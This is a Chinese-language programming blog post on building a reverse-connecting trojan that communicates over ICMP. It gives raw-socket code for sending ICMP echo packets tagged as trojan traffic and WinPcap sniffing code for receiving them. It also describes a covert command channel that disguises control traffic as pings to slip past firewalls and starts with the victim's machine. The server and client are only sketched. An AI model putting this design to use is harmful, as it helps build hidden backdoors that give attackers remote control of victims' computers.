欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

基于ICMP的反弹式木马研究与实现

程序员文章站 2022-06-30 18:20:10
...

基于ICMP的反弹式木马研究与实现

ICMP木马技术最初是为了摆脱端口的束缚而出现,与TCP和UDP协议不同,ICMP并没有端口字段,因为ICMP报文是通过系统内核或进程直接进行。这样,木马的服务器端和木马的客户端的通信采用ICMP协议时,木马的服务器不用开方任何端口。一般意义上的ICMP木马,其实就类似与一个Ping的过程。
传统的木马都是利用一个TCP端口来监听控制端的连接,一旦控制端认证通过,攻击者便会对服务器进行非法控制,但这种方式的隐蔽性非常弱。因此有人提出了反弹窗口式木马,也就是服务器主动向被控制端发送连接请求。

一:ICMP通信的实现
1.1原始套接字的工作原理与规则:
原始套接字是一个特殊的套接字类型,他的创建方式跟TCP/UDP的创建方法几乎类似:
SOCKET socket=socket(AF_INET,SOCK_RAW,IPPRPTO_ICMP)//这说明创建的是一个基于ICMP协议的原始套接字。原始套接字能够访问传输层以下的数据,也就是说,你能够实现上至应用层的数据操作,下至链路层的数据操作。
sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))//用这个方式创建的原始套接字就能够直接读取链路层的数据。

(1):对于UDP/TCP产生的IP数据包,内核不将它传递给任何原始套接字,而只是将这些数据交给对应的UDP/TCP数据处理句柄(所以,如果你想要通过原始套接字来访问TCP/UDP或
者其它类型的数据,调用socket函数创建原始套接字第三个参数应该指定为htons(ETH_P_IP),
也就是通过直接访问数据链路层来实现.
(2):对于ICMP和EGP等使用IP数据包承载数据但又在传输层之下的协议类型的IP
数据包,内核不管是否已经有注册了的句柄来处理这些数据,都会将这些IP数据包复制一份传递给协议类型匹配的原始套接字
(3):对于不能识别协议类型的数据包,内核进行必要的校验,然后会查看是否有类型匹配的原始套接字负责处理这些数据,如果有的话,就会将这些IP数据包复制一份传递给匹配的原始套接字,否则,内核将会丢弃这个IP数据包并返回一个ICMP主机不可达的消息给源主机
(4)如果原始套接字bind绑定了一个地址,核心只将目的地址为本机IP地址的数包传递给原始套接字,如果某个原始套接字没有bind地址,核心就会把收到的所有IP数据包发给这个原始套接字
(5): 如果原始套接字调用了connect函数,则核心只将源地址为connect连接的IP地址的IP数据包传递给这个原始套接字
(6):如果原始套接字没有调用bind和connect函数,则核心会将所有协议匹配的IP数据包传递给这个原始套接字

1.2:利用原始套接字发送ICMP消息
由于操作系统的关系,创建一个原始套接字必须运行在管理员权限之下,因此,本程序全部运行在管理员模式。

WORD wVersion=MAKEWORD(2,2);
    WSADATA wsaData;
    WSAStartup(wVersion,&wsaData);
    if (LOBYTE(wsaData.wVersion)!=2||HIBYTE(wsaData.wVersion)!=2)
    {
        WSACleanup();
        return -1;
    }
    addr.sin_family=AF_INET;
    addr.sin_addr.S_un.S_addr=inet_addr(dstIp.c_str());
    addr.sin_port=0;
    sock=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);//创建原始套接字,设置为icmp类型 
    rst=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&outTime,sizeof(int));//设置发送超时
    if (SOCKET_ERROR==rst)
    {
        cout<<"set outtime error"<<endl;
        WSACleanup();
        return -2;
    }
.
int count=1;//设置发送的次数
    int len=sizeof(sockaddr);
    while (count--)
    {
        ICMPHDR *icmp=new ICMPHDR;//ICMPHDR 定义的ICMP头格式
        memset(icmp,0,sizeof(icmp));
        FillIcmp(icmp);  //用来初始化填充ICMP报文

        SOCKADDR_IN addrFrom;
        int nLen=sizeof(addrFrom);

        icmp->icmp_type=8;//类型为8
        icmp->icmp_code=0;//代表我是发送ping回复
        icmp->icmp_sequence=5678;//证明这是我的木马。
        strcpy_s(icmp->data,str.c_str()); //附带的数据
        icmp->icmp_checksum = CheckSum((USHORT*)icmp, sizeof(ICMPHDR)); //进行ICMP的校验

        int result;
        result = sendto(sock,(char*)icmp, sizeof(ICMPHDR),0,(SOCKADDR*)&addr,sizeof(SOCKADDR)); //向目标主机发送icmp请求包,也就得到这服务器的ip地址。
        if (SOCKET_ERROR == result)
        {
            if (WSAETIMEDOUT == WSAGetLastError())
            {
                cout << "send time out" << endl;
                continue;
            }
            else
            {
                cout << "sendto error" << endl;
                closesocket(sock);
                WSACleanup();
                return -1;
            }
        }
    }

**这样就可以发送一条ICMP消息了。
但是在这里遇到了一个问题,希望能有大神给解答一下。 我在B电脑上创
建一个ICMP的套接字,为什么收不到A电脑发送的ICMP报文,通过抓包分析,A电脑发送的ICMP报文正确到达了B电脑,为什么这个原始套接字不能捕获这条ICMP报文。也正是由于这个原因, 我在下面服务器和客户端的ICMP报文接收中,使用的捕获数据链路层的包来分析ICMP的内容,这实在是一个巨大的遗憾!!**

1.3 接收ICMP消息
由于上述的原因,我并没有成功的直接接收到ICMP报文,因此,我转而通过嗅探的方法来捕获到达的ICMP报文,为了方便,这里使用了wincap来进行。大家也可以使用基于数据链路层的原始套接字来捕获ICMP消息,如果谁有更好的方法,请不吝赐教。
关键代码如下:

if ((devHandle=pcap_open_live(d->name,1600,1,1,er))==NULL)//d-namp为网卡的描述符,1600为缓冲区的大小,适当大小的缓冲区有利于提高响应的速度,1为将网卡置于混杂模式,1为响应的时间为1ms,具体参数的定义大家可以自行百度
    {
        pcap_freealldevs(alldevs);  
        return false;
    }
    if (pcap_datalink(devHandle)!=DLT_EN10MB)
    {
        AfxMessageBox(_T("不是以太网"));
        pcap_freealldevs(alldevs);  
        return false;
    }

    m_ThreadHandle=AfxBeginThread((AFX_THREADPROC)MyProc,this);

while (1)
    {
        pcap_next_ex(pThis->devHandle, &header, &pkt_data);//pkt__data即为捕获到的所有数据,大家可已根据IP和ICMP报文的格式进行分析,我就不再赘述
        datapkt *data = new datapkt;      
        memset(data,0,sizeof(data));
        if(NULL == data)  
        {  
            AfxMessageBox(_T("空间已满,无法接收新的数据包"));  
            return ;  
        }  
        if(pThis->analyze_frame(pkt_data,data)<0)  
        {
            delete data;
            continue;
        }
        else
        {
            pThis->recvMSG(data);//得到了接收到的icmp消息 
            delete data;
        }
    }

二:通信数据格式的定义

互联网上的数据都有一定的格式,我们的木马程序使用的数据格式如下:这只是一个最简单的实现,可根据实际的需要设置自己的数据格式。
ICMP数据报格式:
8位类型码 8位代码 16校验和
16位标志位 16位序号
8位操作类型 最长1024位数据可选

其中,服务端发送的是类型码为8,代码为0的ICMP消息,这会被计算机理解为一个ping请求,故一般不会被防火墙拦截。
客户端发送的是类型码为0,代码为0的ICMP消息,这是一个ping回复。
16位标志位代表发送这个ICMP报文的进程号,
16位序号代表这个ICMP报文的序号,可以用来组装附加的数据
8位操作类型的定义如下:

三:服务器的实现
服务端和客户端的实现比较简单。服务端即被控制端。当被控制端开机,服务器会伴随启动,并发送ICMP请求给客户端,也就是发送操作类型为请求连接的ICMP消息给客户端,客户端收到这个消息以后,若同意,会发送ICMP连接确认,告诉被控主机。这时,就会建立起ICMP连接。其中,正常的ICMP消息和木马的ICMP消息,我是使用16位的标志位来标志这是属于我木马的ICMP消息。
四:客户端的实现
客户端更为简单,大家有疑问可以留言。